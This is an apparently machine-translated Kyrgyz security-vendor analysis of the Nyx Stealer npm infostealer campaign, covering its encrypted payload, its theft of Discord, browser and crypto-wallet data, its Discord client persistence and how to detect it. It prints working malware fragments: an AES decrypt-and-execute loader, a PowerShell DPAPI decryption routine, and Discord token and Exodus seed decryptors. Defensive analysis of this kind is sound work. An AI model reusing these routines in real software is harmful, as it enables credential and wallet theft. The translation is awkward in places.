TL; DR
Xygeni коопсуздук изилдөө тобу эки зыяндуу пакет аркылуу жеткирилген татаал npm маалымат уурдоо кампаниясын аныктады: консоллоф жана өз алдынча робот-лофи.
Акыркы версия (consolelofy@1.3.0) 216KB AES менен шифрленген пайдалуу жүктөмдү камтыйт, ал иштөө учурунда чечмеленип, төмөнкү аркылуу аткарылат vm.runInNewContext()Зыяндуу логика толугу менен шифрленгендиктен, сап текшерүүсүнө таянган статикалык сканерлер анын жүрүм-турумун аткаруу убактысына чейин байкай алышпайт.
Шифрленгенден кийин, пайдалуу жүк ички брендге ээ болот Nyx уурусу, максаттары:
- Discord аутентификация токендери
- 50дөн ашык браузердин реквизиттик маалыматтары дүкөндөрү
- 90дон ашык криптовалюта капчыгы кеңейтүүлөрү
- Roblox, Instagram, Spotify, Steam, Telegram жана TikTok сессиялары
- Discord рабочий столунун кардар туруктуулугу
Эки пакеттеги 20 версиянын баары кабарланып, зыяндуу экени тастыкталды.
Бул npm Infostealerдин техникалык сереби
Салттуу орнотуу учурундагы зыяндуу программалардан айырмаланып, бул кампания төмөнкүлөргө таянат узактыгы чечмелөө модели.
Ал жерде:
- Зыяндуу эмес
preinstallorpostinstallhooks - Орнотуу учурунда тармактык чалуулар жок
- Жөнөкөй тексттик грамоталарды чогултуу логикасы жок
Пайдалуу жүк модуль импорттолгондо активдешет. Зыяндуу дене толугу менен шифрленген жана эс тутумда иштөө учурунда гана пайда болот.
Бул дизайн, өзгөчө, пакетти орнотуу учурунда аныктоодон качууга мүмкүндүк берет.
Бул npm Infostealer кантип иштейт
Nyx Stealer эмнени уурдаганын талдоодон мурун, биз түшүнүшүбүз керек ал кантип ишке ашат.
Бул npm маалымат уурдоочусунун ичиндеги зыяндуу логика ырааттуу үлгүгө ылайык иштейт:
Кичинекей жүктөгүч чоң шифрленген пайдалуу жүктү чечмелейт жана аны Node.js виртуалдык машинасынын контекстинде динамикалык түрдө аткарат.
Бул дизайн атайылап жасалган. Чабуулчу функцияны бир гана бүдөмүктөөнүн артына жашырып жаткан жок, алар зыяндуу кодду статикалык көрүнүмдүүлүктөн толугу менен алып салуу.
Жогорку деңгээлдеги аткаруу модели
Жогорку деңгээлде, ороочу төрт нерсени аткарат:
- SHA-256 аркылуу катуу коддолгон сырсөздөн AES ачкычын алат
- AES-256-CBC колдонуп, чоң алты бурчтуу шифрленген текстти чечмелейт
- Шифрленген JavaScriptти колдонуп аткарат
vm.runInNewContext() - Күчтүү иштөө убактысынын примитивдерин дагы эле ачыкка чыгарган кумкоргонду камсыз кылат
Негизги техниканын кыскача баяндамасы
| курамдык | Конфигурация / Маани |
|---|---|
| Algorithm | AES-256-CBC |
| Key Derivation | SHA-256 (сырсөз) |
| Баштапкылоо вектору (IV) | 0x00 файлынын 16 байттары |
| аткаруу | vm.runInNewContext(чечимделген, кумкоргон) |
Кыйынчылык менен, кумкоргон төмөнкүлөр аркылуу өтөт:
requireprocessBuffer- таймер
- модуль экспорту
Бул чечмеленген пайдалуу жүк төмөнкү мүмкүнчүлүктөрдү толук сактап калганын билдирет:
- Уруктануу процесстери
- Файлдарды окуу жана жазуу
- Тармактык чалууларды жасоо
- Жергиликтүү тиркемелерди өзгөртүү
Бул чектелген виртуалдык машина эмес. Бул аткаруучу батут катары колдонулган виртуалдык машина.
Иштөө убактысын шифрлөө үлгүсү (негизги аткаруу механизми)
Жүк ташуучу кичинекей.
Зыяндуу дене андай эмес.
Төмөндө пакеттин ичиндеги аткаруу схемасы келтирилген:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Эмне үчүн бул маанилүү
Шифрленген пайдалуу жүк:
- көрөбү? жок npm пакетинин ичинде ачык текст түрүндө бар
- Жөнөкөй адамга көрүнбөйт
grepже статикалык сап сканерлөө - Эстутумда иштөө учурунда гана чагылдырылат
- Толук Node иштөө убактысынын мүмкүнчүлүктөрү менен аткарат
Бул AES + VM аткаруу айкалышы - бул күчтүү жүрүм-турумдук көрсөткүч npm маалымат уурдоочусу статикалык текшерүүдөн качууга аракет кылып жатат.
Башкача айтканда:
Эгер сиз пакеттин булак дарагын сканерлесеңиз, уурдоочуну көрбөйсүз.
Сиз дешифрлөөчүнү көрөсүз.
Дешифрлөөдөн кийин эмне болот
Ишке ашырылгандан кийин, Nyx Stealer параллелдүү маалыматтарды чогултуу толкундарын ишке киргизет.
1-толкун: Браузердин грамоталарын алуу
Зыяндуу программа:
- NuGet CDN'ден Python иштөө убактысын жүктөп алат
- Криптографиялык китепканаларды орнотот
- Chromium негизиндеги далдаштырма маалыматтар сакталган дүкөндөрдү чыгарат
- DPAPI менен корголгон сырларды чечмелейт
Ал жергиликтүү байланыштарды компиляциялоонун ордуна, Windows DPAPI'ни түздөн-түз чакыруу үчүн PowerShell'ди колдонот.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Бул ыкма:
- Компиляция артефакттарынан качат
- Windowsтун крипто APIлерин колдонот
- Административдик куралдар менен айкалышат
Бул скрапинг эмес, ОС деңгээлиндеги далдаштырма маалыматтарды чечмелөө.
2-толкун: Discord токенин чечмелөө
Уурдоочу протоколду билет. Ал Discordдун шифрленген токен форматын түшүнөт.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Операциялык агым:
- Discord'тон мастер-ачкычты чыгарыңыз
Local State - DPAPI аркылуу башкы ачкычтын шифрин чечмелөө
- AES-GCM токен блокторун чечмелөө
- Discord API'сине каршы токендерди текшерүү
- Nitro, төш белгилер жана эсеп-фактура маалыматы менен байытыңыз
Бул жалпы грамоталардын демпинги эмес. Бул протоколго негизделген сеанстын басып алынышы.
3-толкун: Криптовалюта капчыгын таргетингдөө
npm маалымат уурдоочусу төмөнкүлөрдү санап берет:
- 90дон ашык браузер капчыгы кеңейтүүлөрү
- 27 компьютердик капчык
- Муздак капчык жолдору
- Exodus үрөн файлдары
Баштапкы чечмелөө аракетинин мисалы:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Эгерде ийгиликтүү болсо, капчыктын компромисси дароо жана кайтарылгыс болот.
Бул өнөктүктүн эң жогорку баалуу монетизация векторун билдирет.
Discord Desktop инъекциясы аркылуу туруктуулук
Ишеним грамоталарын чогулткандан кийин, Nyx Stealer жергиликтүү маалыматты өзгөртүү менен туруктуулукка аракет кылат. келишпестиктерге керектөөчү.
максаты:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Операциялык ырааттуулук
Маалымат уурдоочу төмөнкү кадамдарды аткарат:
- Discord процесстеринин иштешин токтотот
- Орнотулган Discord варианттарын табат (Stable, Canary, PTB)
- Үстүнө жазат
discord_desktop_core/index.js - Чабуулчу башкарган вебхук логикасын киргизет
- Discordду кайра баштайт
Бул келечектеги Discord сессияларында жаңы аутентификация токендеринин автоматтык түрдө агып чыгышын камсыздайт.
Маанилүүсү, бул туруктуулук пландаштырылган тапшырмаларга же реестрди өзгөртүүгө көз каранды эмес. Ал тиркеме деңгээлиндеги кодду өзгөртүүнү, жашыруун ыкманы колдонот.
Зыяндуу npm пакети кийинчерээк алынып салынса да, Discord кардары коркунучта кала берет.
Техникалык салыштыруу: Legitimate Selfbot жана npm Infostealer
| курамдык | Мыйзамдуу китепкана | Nyx npm маалымат уурдоочусу |
|---|---|---|
| коддоо | эч ким | Толук AES менен шифрленген пайдалуу жүк |
| Иштөө убактысындагы виртуалдык машина | талап кылынбайт | vm.runInNewContext аткаруу |
| Credential Access | Discord API гана | Браузер, капчыктар, DPAPI |
| Тышкы жүктөөлөр | Жок | Pythonдун иштөө убактысы NuGet аркылуу |
| тырышчаактык | Жок | Discord кардарын инъекциялоо |
| Акча табуу | Ботторду автоматташтыруу | Ишеним грамоталарын кайра сатуу |
Шифрлөө катмары гана бул өнөктүктү кадимки ачык булактуу форктон бөлүп турат.
Мыйзамдуу Discord селфботунун бүтүндөй код базасын шифрлөөгө, DPAPIге кирүү үчүн PowerShellди иштетүүгө, тышкы иштөө убактысын жүктөп алууга же жумушчу стол тиркемесинин ички жөндөөлөрүн өзгөртүүгө эч кандай себеби жок. Бул мүмкүнчүлүктөр Discord өз ара аракеттенүүсүн автоматташтырат деп ырастаган көз карандылыктын ичинде пайда болгондо, архитектуралык дал келбестикти этибарга албоо мүмкүн болбой калат.
Изилдөөнүн көз карашынан алганда, бул npm маалымат уурдоочусу бир нече катмарларда из калтырат. Бирок, эң ишенимдүү индикаторлор катуу коддолгон URL даректери же белгилүү бир файл жолдору эмес, анткени алар версиялардын ортосунда өзгөрүшү мүмкүн. Тескерисинче, туруктуу сигналдар структуралык мүнөзгө ээ.
Пакет деңгээлинде эң күчтүү кооптуу белги - бул чоң шифрленген пайдалуу жүктөмдүн жана дароо аткарылуучу иштөө убактысындагы чечмелөөчү оромонун айкалышы vm.runInNewContext()Шифрлөөнүн өзү эле зыяндуу болбосо да, Discord утилиталык пакетинин ичинде AES чечмелөөсүн жана андан кийин динамикалык виртуалдык машинаны аткарууну колдонуу өтө аномалиялуу.
Хост деңгээлинде шектүү үлгүлөргө күтүлбөгөн DPAPI чечмелөө активдүүлүгү, Node.js көз карандылык контекстинен процесстин пайда болушу жана үчүнчү тараптын китепканалары тарабынан эч качан өзгөртүлбөшү керек болгон жергиликтүү тиркеме файлдарын өзгөртүү кирет. Ошо сыяктуу эле, тармактык деңгээлде, иштеп чыгуу көз карандылыгы тарабынан башталган чыгуучу вебхук стилиндеги байланыш дагы бир маанилүү аномалияны билдирет.
Башкача айтканда, аныктоо бети компромисстин бирден-бир көрсөткүчү эмес. Коркунучту ачып берген нерсе - бул шифрлөөнүн, аткаруу убактысынын аткарылышынын, грамоталарга кирүүнүн жана туруктуулук жүрүм-турумунун өз ара байланышы.
Xygeni менен аныктоо жана азайтуу
Бул npm маалымат уурдоочусу тарабынан аныкталган Xygeni'нин зыяндуу программасы жөнүндө эрте эскертүү (MEW) жөнөкөй кол тамга дал келүүсүнүн ордуна катмарлуу жүрүм-турумдук корреляция аркылуу.
Белгилүү зыяндуу саптарды издөөнүн ордуна, MEW толук булак дарагы боюнча структуралык аномалияларды баалайт. Бул учурда, аныктоо бир нече сигналдардын конвергенциясынан келип чыккан: модулдун кирүү чекитинде камтылган AES чечмелөө процедурасы, виртуалдык машинанын контекстинде дароо аткарылышы жана мүмкүнчүлүк менен ниеттин ортосундагы айкын дал келбестик.
Маанилүүсү, бул сигналдардын бири да өз алдынча зыяндуу ниетти далилдебейт. Бирок, чогуу талданганда, алар иштөө учурундагы жүрүм-турумду жашыруу аракетин ачыкка чыгарат. Бул көп катмарлуу ыкма жогорку ишенимдүү жеткирүү чынжырындагы коркунучтарды аныктоо менен бирге жалган позитивдерди бир топ азайтат.
Мындан тышкары, бул окуя эмне үчүн орнотуу убактысын текшерүүнүн өзү жетишсиз экенин көрсөтүп турат. Зыяндуу логика жашоо циклинин скрипттеринде жок. Ал модуль жүктөлгөндөн кийин гана активдешет жана эс тутумда чечмеленгенден кийин гана көрүнөт. Ошондуктан, натыйжалуу коргонуу үчүн шифрлөөнү эске алган талдоо, жүрүм-турумдук үлгүнү таануу жана орнотуу окуяларынан тышкары үзгүлтүксүз көз карандылыкты көзөмөлдөө талап кылынат.
Реестрди алып салуу реактивдүү. Иштөө убактысын эске алуу менен талдоо алдын алуучу болуп саналат.
Эмне үчүн бул npm Infostealer маанилүү
Nyx Stealer npm негизиндеги зыяндуу программалык камсыздоонун структуралык эволюциясын билдирет.
Тарыхый жактан алганда, көптөгөн зыяндуу пакеттер орнотулган убакыттын көрүнүктүү скрипттерине же айкын далдаштырма маалыматтарын эксфильтрациялоо чекиттерине таянган. Ал эми, бул кампания өзүнүн пайдалуу жүгүн шифрлейт, аткарууну аткаруу убактысына жылдырат, мыйзамдуу операциялык тутум APIлерин колдонот жана ишенимдүү тиркемелердин ичинде туруктуулукту орнотот.
Натыйжада, чабуулчу npm инфраструктурасын өзү пайдаланышынын кажети жок. Тескерисинче, чабуул ийгиликтүү болот, анткени көз карандылыкты орнотуу ишенимди билдирет. Иштеп чыгуучулар китепкананы импорттоо коопсуз операция деп эсептешет, айрыкча, ал өзүн популярдуу куралдын ишенимдүү айрысы катары көрсөткөндө.
Экосистемалар өсүп, айрылардын көбөйүшү менен, ал жашыруун ишеним чеги барган сайын жагымдуу чабуул бетине айланып баратат. Ошондуктан, заманбап npm маалымат уурдоочуларынан коргонуу статикалык саптарды издөөнүн ордуна архитектуралык үлгүлөрдү таанууну талап кылат.
Акыр-аягы, бул өнөктүк маанилүү сабакты бекемдейт software supply chain securityЭң кооптуу коркунучтар биринчи караганда зыяндуу көрүнгөн коркунучтар эмес, бирок иштөө убактысы алардын чыныгы жүрүм-турумун көрсөткөнгө чейин түзүмдүк жактан мыйзамдуу көрүнгөн коркунучтар.




